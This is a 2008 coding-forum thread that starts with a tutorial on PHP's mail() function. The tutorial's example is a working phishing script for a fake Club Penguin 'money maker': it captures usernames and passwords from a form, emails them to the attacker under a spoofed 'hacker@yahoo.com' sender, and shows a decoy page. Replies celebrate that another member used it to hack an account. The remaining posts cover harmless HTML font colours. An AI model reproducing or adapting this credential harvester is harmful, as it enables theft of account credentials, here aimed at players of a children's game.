The Code Hang Out

The coding website to talk about any codes!
 
HomeHome  PortalPortal  GalleryGallery  FAQFAQ  SearchSearch  MemberlistMemberlist  UsergroupsUsergroups  RegisterRegister  Log inLog in  

Share | 
 

 PHP mail() function

Go down 
AuthorMessage
Plonk
The Ska Boss
avatar

Posts : 39
Join date : 2008-07-23
Location : RONICUS EXPLODICUS!!!

Infractions and burgers
Burgers: 430
Infractions:
0/0  (0/0)

PostSubject: PHP mail() function   Wed Jul 23, 2008 2:48 pm

This is how to send email in php. The server must be configured to do so, however.
Code:

mail("youremail@mail.com", "Subect", "Message", null, "fake@yahoo.com");

Now for an example of its use:
This could be used in a fake club penguin money maker like this (I'm assuming you have an HTML page.)
Code:

<?php
$name = $_POST["name"];
$password = $_POST["password"];
$message = "Username is $name and password is $password";
mail("youremail@mail.com", "Penguin Password Found", $message, null, "hacker@yahoo.com");
echo "<h1>Money Maker</h1><BR>The money maker Blah.";
?>

Just some stuff about the mail functoin. afro
Back to top Go down
View user profile http://wlm863.fileave.com/cool.html
-Linux-
Master Admin
Master Admin
avatar

Posts : 160
Join date : 2008-07-21
Location : In Smiley World!!! HI!!!!!!!!!!!!!:D

Infractions and burgers
Burgers: 999,999,999,999 burgers
Infractions:
9223372036854775807/0  (9223372036854775807/0)

PostSubject: Re: PHP mail() function   Wed Jul 23, 2008 2:50 pm

awsome` Very Happy Smile
Back to top Go down
View user profile http://codes.forumotion.com
Plonk
The Ska Boss
avatar

Posts : 39
Join date : 2008-07-23
Location : RONICUS EXPLODICUS!!!

Infractions and burgers
Burgers: 430
Infractions:
0/0  (0/0)

PostSubject: Re: PHP mail() function   Wed Jul 23, 2008 2:55 pm

I PM'med this to devo on the chill out, I think he made a fake money maker with it.
Back to top Go down
View user profile http://wlm863.fileave.com/cool.html
-Linux-
Master Admin
Master Admin
avatar

Posts : 160
Join date : 2008-07-21
Location : In Smiley World!!! HI!!!!!!!!!!!!!:D

Infractions and burgers
Burgers: 999,999,999,999 burgers
Infractions:
9223372036854775807/0  (9223372036854775807/0)

PostSubject: Re: PHP mail() function   Wed Jul 23, 2008 2:56 pm

cool Surprised
Back to top Go down
View user profile http://codes.forumotion.com
Devo12345
Devo12345: Perma ban but un-banned
Devo12345: Perma ban but un-banned


Posts : 71
Join date : 2008-07-23

Infractions and burgers
Burgers: 430
Infractions:
4/5  (4/5)

PostSubject: Re: PHP mail() function   Wed Jul 23, 2008 3:02 pm

Plonk wrote:
I PM'med this to devo on the chill out, I think he made a fake money maker with it.
yup thats how I hacked nyy8 lol!
Back to top Go down
View user profile
Plonk
The Ska Boss
avatar

Posts : 39
Join date : 2008-07-23
Location : RONICUS EXPLODICUS!!!

Infractions and burgers
Burgers: 430
Infractions:
0/0  (0/0)

PostSubject: Re: PHP mail() function   Wed Jul 23, 2008 3:04 pm

That's what I thought when I saw he got hacked!
Back to top Go down
View user profile http://wlm863.fileave.com/cool.html
-Linux-
Master Admin
Master Admin
avatar

Posts : 160
Join date : 2008-07-21
Location : In Smiley World!!! HI!!!!!!!!!!!!!:D

Infractions and burgers
Burgers: 999,999,999,999 burgers
Infractions:
9223372036854775807/0  (9223372036854775807/0)

PostSubject: Re: PHP mail() function   Wed Jul 23, 2008 3:06 pm

cool devo
off topic: look at the forum shop i have an order for you devo
Back to top Go down
View user profile http://codes.forumotion.com
Devo12345
Devo12345: Perma ban but un-banned
Devo12345: Perma ban but un-banned


Posts : 71
Join date : 2008-07-23

Infractions and burgers
Burgers: 430
Infractions:
4/5  (4/5)

PostSubject: Re: PHP mail() function   Wed Jul 23, 2008 3:08 pm

I need the html for color(yes i know VERY NOOBISH!)
Back to top Go down
View user profile
Plonk
The Ska Boss
avatar

Posts : 39
Join date : 2008-07-23
Location : RONICUS EXPLODICUS!!!

Infractions and burgers
Burgers: 430
Infractions:
0/0  (0/0)

PostSubject: Re: PHP mail() function   Wed Jul 23, 2008 3:09 pm

Text or background color?
Back to top Go down
View user profile http://wlm863.fileave.com/cool.html
Devo12345
Devo12345: Perma ban but un-banned
Devo12345: Perma ban but un-banned


Posts : 71
Join date : 2008-07-23

Infractions and burgers
Burgers: 430
Infractions:
4/5  (4/5)

PostSubject: Re: PHP mail() function   Wed Jul 23, 2008 3:11 pm

text
Back to top Go down
View user profile
-Linux-
Master Admin
Master Admin
avatar

Posts : 160
Join date : 2008-07-21
Location : In Smiley World!!! HI!!!!!!!!!!!!!:D

Infractions and burgers
Burgers: 999,999,999,999 burgers
Infractions:
9223372036854775807/0  (9223372036854775807/0)

PostSubject: Re: PHP mail() function   Wed Jul 23, 2008 3:12 pm

<font color="red">Rank name here</font>
Back to top Go down
View user profile http://codes.forumotion.com
Plonk
The Ska Boss
avatar

Posts : 39
Join date : 2008-07-23
Location : RONICUS EXPLODICUS!!!

Infractions and burgers
Burgers: 430
Infractions:
0/0  (0/0)

PostSubject: Re: PHP mail() function   Wed Jul 23, 2008 3:12 pm

EDIT: Vista got here first, but this can't hurt.
Code:

<font color = "#HEX COLOR">blah blah blah</font>

I hope you know hexadecimal colors, if not, I can show you those too.

_________________
Click on my website, you won't be disappointed.
Avada Kedavra, the best spoof song ever, wrote:

They call me Dark Lord Voldemort
I'm a sucker for evil of any sort
As long as I can get to zap my foes away

And boy I love this magic spell
I can send my enemies straight to h*ll
It's such a blast, I do it every day
Back to top Go down
View user profile http://wlm863.fileave.com/cool.html
Devo12345
Devo12345: Perma ban but un-banned
Devo12345: Perma ban but un-banned


Posts : 71
Join date : 2008-07-23

Infractions and burgers
Burgers: 430
Infractions:
4/5  (4/5)

PostSubject: Re: PHP mail() function   Wed Jul 23, 2008 3:12 pm

no..
You need the html color red code.
EDIT:NVM


Last edited by Devo12345 on Wed Jul 23, 2008 3:13 pm; edited 1 time in total
Back to top Go down
View user profile
Plonk
The Ska Boss
avatar

Posts : 39
Join date : 2008-07-23
Location : RONICUS EXPLODICUS!!!

Infractions and burgers
Burgers: 430
Infractions:
0/0  (0/0)

PostSubject: Re: PHP mail() function   Wed Jul 23, 2008 3:13 pm

Try #FF0000

_________________
Click on my website, you won't be disappointed.
Avada Kedavra, the best spoof song ever, wrote:

They call me Dark Lord Voldemort
I'm a sucker for evil of any sort
As long as I can get to zap my foes away

And boy I love this magic spell
I can send my enemies straight to h*ll
It's such a blast, I do it every day
Back to top Go down
View user profile http://wlm863.fileave.com/cool.html
-Linux-
Master Admin
Master Admin
avatar

Posts : 160
Join date : 2008-07-21
Location : In Smiley World!!! HI!!!!!!!!!!!!!:D

Infractions and burgers
Burgers: 999,999,999,999 burgers
Infractions:
9223372036854775807/0  (9223372036854775807/0)

PostSubject: Re: PHP mail() function   Wed Jul 23, 2008 3:14 pm

yeah you dont need the hex number
Back to top Go down
View user profile http://codes.forumotion.com
Devo12345
Devo12345: Perma ban but un-banned
Devo12345: Perma ban but un-banned


Posts : 71
Join date : 2008-07-23

Infractions and burgers
Burgers: 430
Infractions:
4/5  (4/5)

PostSubject: Re: PHP mail() function   Wed Jul 23, 2008 3:17 pm

Ok,but you need to add it urself,I can't edit a founders profile.
Back to top Go down
View user profile
-Linux-
Master Admin
Master Admin
avatar

Posts : 160
Join date : 2008-07-21
Location : In Smiley World!!! HI!!!!!!!!!!!!!:D

Infractions and burgers
Burgers: 999,999,999,999 burgers
Infractions:
9223372036854775807/0  (9223372036854775807/0)

PostSubject: Re: PHP mail() function   Wed Jul 23, 2008 3:25 pm

i did its the master admin one
Back to top Go down
View user profile http://codes.forumotion.com
Devo12345
Devo12345: Perma ban but un-banned
Devo12345: Perma ban but un-banned


Posts : 71
Join date : 2008-07-23

Infractions and burgers
Burgers: 430
Infractions:
4/5  (4/5)

PostSubject: Re: PHP mail() function   Wed Jul 23, 2008 3:29 pm

Ok then click ur username(on admin panel)
Scroll down and choose the master admin one.
Back to top Go down
View user profile
-Linux-
Master Admin
Master Admin
avatar

Posts : 160
Join date : 2008-07-21
Location : In Smiley World!!! HI!!!!!!!!!!!!!:D

Infractions and burgers
Burgers: 999,999,999,999 burgers
Infractions:
9223372036854775807/0  (9223372036854775807/0)

PostSubject: Re: PHP mail() function   Wed Jul 23, 2008 3:32 pm

Thanx king
Back to top Go down
View user profile http://codes.forumotion.com
Sponsored content




PostSubject: Re: PHP mail() function   

Back to top Go down
 
PHP mail() function
Back to top 
Page 1 of 1
 Similar topics
-
» Mail - trolls attack the McCanns again
» How to open a mail from the yahoo mail inbox using selenium IDE
» Selenium test for Gmail compose mail
» Unwanted e-mail notification
» How to send mail of my script results?

Permissions in this forum:You cannot reply to topics in this forum
The Code Hang Out :: General Coding :: PhP Codes-
Jump to: